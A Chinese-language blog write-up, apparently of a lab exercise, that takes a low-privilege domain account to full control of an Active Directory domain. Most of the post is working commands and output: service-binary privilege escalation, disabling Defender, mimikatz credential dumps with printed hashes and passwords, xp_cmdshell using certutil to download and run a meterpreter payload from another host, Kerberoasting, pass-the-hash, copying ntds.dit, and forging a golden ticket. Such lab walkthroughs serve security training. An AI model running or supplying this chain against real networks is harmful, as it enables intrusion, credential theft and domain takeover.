Yoga7xm's Blog

域渗透之Offensive

字数统计: 1.4k阅读时长: 6 min
2019/12/06 Share

Abstract

大佬分享的一个国外的靶场环境: 提取码 9i2x

网络拓扑图

目前我们已经拥有了一个域内成员的机器,目标是拿下域控权限

【注】目前遇见的几个坑点:

  • Client每隔一段时间会自动重启
  • SQL机器需要通过安装系统替换某个exe的方式重置本机管理员密码,然后退出域再加入域
  • SQL的服务开机不会自启,需手动开启

提权

提供的账号是一个普通的小域成员账号,啥都干不了…这时候我们需尝试利用提供的PowerUp.ps1进行提权

1
powershell -exec bypass -Command "Import-Module .\PowerUp.ps1;Invoke-AllChecks"

列出来了可能存在问题的所有服务以及相应的利用方法

这个是利用不可信服务进行提权,原理之前说过了。这里就先查询下该目录是否有修改的权限

1
2
3
4
5
6
7
8
icacls "C:\Program Files\Vuln Service\VulnService.exe"
C:\Program Files\Vuln Service\VulnService.exe
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
offensive\Alice:(I)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

说明:F表示完全控制,M表示修改,CI表示从属容器将继承访问控制项

这里可以看见Alice这个用户有全部的权限去修改这个文件夹。

1
2
3
4
C:\Users\Alice\Desktop\tools>powershell -exec bypass -Command "Import-Module .\PowerUp.ps1;Write-ServiceBinary -ServiceName 'VulnService' -UserName 'offensive\Alice' -Password 'Password!'"
ServiceName ServicePath Command
----------- ----------- -------
VulnService service.exe net localgroup Administrators offensive\Alice /add

会在当前文件夹下生成一个service.exe的文件,能够将我们这个域成员添加管理权限。然后将其拷贝至目标目录

1
2
cp service.exe "C:\Program Files\Vuln Service\VulnService.exe"
sc qc VulnService

重启就好了,然后登陆的时候提示原密码已过期需要重新修改个新密码。回来之后,查看权限

提权成功、

信息搜集

利用powershell顺手将Windows杀软关闭了

1
Set-MpPreference -disablerealtimeMonitoring $true

然后上传msf的木马,反弹出来。因为是用管理员身份打开的所以很容易拿到system权限

导入powerview进行信息收集

1
2
3
4
5
6
7
8
9
10
11
域控:
dc.offensive.local => 192.168.159.200
域成员机:
SQL1.offensive.local => 192.168.159.20
Client1.offensive.local => 192.168.159.10
域管理员:
Administrator S-1-5-21-1187620287-4058297830-2395299116-500
dbadmin S-1-5-21-1187620287-4058297830-2395299116-1105
域成员:
Alice S-1-5-21-1187620287-4058297830-2395299116-1103
dbuser1 S-1-5-21-1187620287-4058297830-2395299116-1104

利用mimikatz获取hash和明文密码

1
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full""  exit >> hash.txt

内网渗透

横向渗透

nmap扫描一下sql那台机器端口情况

1
2
3
4
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 14.00.1000.00

存在mssql,于是导入PowerUpSql枚举域中的SQL server服务并查看信息

1
2
3
4
5
6
#通过LDAP查询定位
meterpreter > powershell_execute "Get-SQLInstanceDomain | Get-SQLConnectionTest"

#收集服务信息
meterpreter > powershell_execute "Get-SQLServerInfo -Instance Offensive-SQL1"
meterpreter > powershell_execute "Invoke-SQLAudit -Instance Offensive-SQL1 -verbose"

dbadmin的用户权限,只要拿下该机器就能获得域管的权限。但是没有其他的服务作为入口,只能从sql server下手。用Powerview去查找alice用户能够登录的机器

1
2
powershell_execute "Find-LocalAdminAccess -verbose"
powershell_execute "Invoke-UserHunter -checkAccess -verbose"

无果…

只能尝试使用提供的HeidiSQL利用windows的身份去连接mssql

连接成功!!! 接下来就是一把梭了,开启利用xp_cmdshell就成

果然是dbadmin权限,我们需要反弹一个shell出来,关闭Windows杀软。先利用python2起一个简易的http服务,下载msf木马执行

1
EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.159.10/8089.exe c:\8089.exe&&c:\8089.exe'

权限比较高,直接getsystem获得最高权限,上传mimikatz然后抓到密码和hash

1
2
3
4
5
6
7
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full""  exit >> hash2.txt
* Username : dbadmin
* Domain : offensive
* NTLM : fc525c9683e8fe067095ba2ddc971889
* SHA1 : e53d7244aa8727f5789b01d8959141960aad5d22
* DPAPI : 8831715a08705fdb882f8a8669ab25c6
* Password :Password!

SPN攻击

首先获取可以利用的SPN服务

1
2
3
4
5
6
7
8
9
10
11
12
>cscript.exe .\GetUserSPNs.vbs

CN=dbadmin,CN=Users,DC=offensive,DC=local
User Logon: dbadmin
-- MSSQLSvc/SQL1.offensive.local:1433
-- MSSQLSvc/SQL1.offensive.local:SQLEXPRESS
-- MSSQLSvc/Offensive-SQL1.offensive.local:1433
-- MSSQLSvc/Offensive-SQL1.offensive.local:SQLEXPRESS

CN=dbuser1,CN=Users,DC=offensive,DC=local
User Logon: dbuser1
-- MSSQLSvc/Offensive-SQL1:1433

然后请求指定的Server Ticket

1
2
3
$SPNName = 'MSSQLSvc/Offensive-SQL1:1433'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

然后导出Server Ticket,拿到RC4加密的Ticket

1
mimikatz # kerberos::list /export

最后利用爆破密码,因为pass也是提供好的,所以一定能够爆破成功

1
2
3
4
python tgsrepcrack.py pass.txt "1-40a10000-Alice@MSSQLSvc~Offensive-SQL1~1433-OFFENSIVE.LOCAL.kirbi"
found password for ticket 0: Passw0rd!
File: 1-40a10000-Alice@MSSQLSvc~Offensive-SQL1~1433-OFFENSIVE.LOCAL.kirbi
All tickets cracked!

这样就拿到了dbuser1的密码

撸域控

使用mimikatz进行PtH拿到一个域控的Shell

1
2
3
privilege::debug
sekurlsa::pth /user:dbadmin /domain:offensive.local /ntlm:fc525c9683e8fe067095ba2ddc971889 /run:powershell.exe
Enter-PSSession -ComputerName dc

我们现在有了域管理员dbadmin的权限,能够直接导出ntds.dit中所有的Hash

1
2
3
4
5
Set-MpPreference -disablerealtimeMonitoring $true
iwr -Uri http://192.168.159.10/Invoke-NinjaCopy.ps1 -OutFile Invoke-NinjaCopy.ps1 -UseBasicParsing
Import-Module .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\NTDS\ntds.dit -Verbose -LocalDestination 'C:\Users\dbadmin\Documents\ntds.dit'
reg save HKLM\SYSTEM C:\Users\dbadmin\Documents\SYS

然后exit退出会话,用IPC$复制到client1

1
2
cp \\dc.offensive.local\C$\Users\dbadmin\Documents\ntds.dit C:\Users\Alice\Desktop\tools\
cp \\dc.offensive.local\C$\Users\dbadmin\Documents\SYS C:\Users\Alice\Desktop\tools\

最后从这俩个文件中提取Hash

1
2
$key = Get-BootKey -SystemHivePath "C:\Users\alice\Desktop\tools\SYS"
Get-ADDBAccount -All -DBPath "C:\Users\alice\Desktop\tools\ntds.dit" -BootKey $key | Out-File pass.txt

然后利用krbtgt的hash生成一个Golden Ticket

1
mimikatz "kerberos::golden /domain:offensive.local /sid:S-1-5-21-1187620287-4058297830-2395299116 /aes256:dbae18467bd2eeb7eb2679e759b2b14d0755c1a4c3757b2f475399bb4ddb73b2 /user:god /ticket:aes.kirbi"

至此拿下了域控

CATALOG
  1. 1. Abstract
  2. 2. 提权
  3. 3. 信息搜集
  4. 4. 内网渗透
    1. 4.1. 横向渗透
    2. 4.2. SPN攻击
    3. 4.3. 撸域控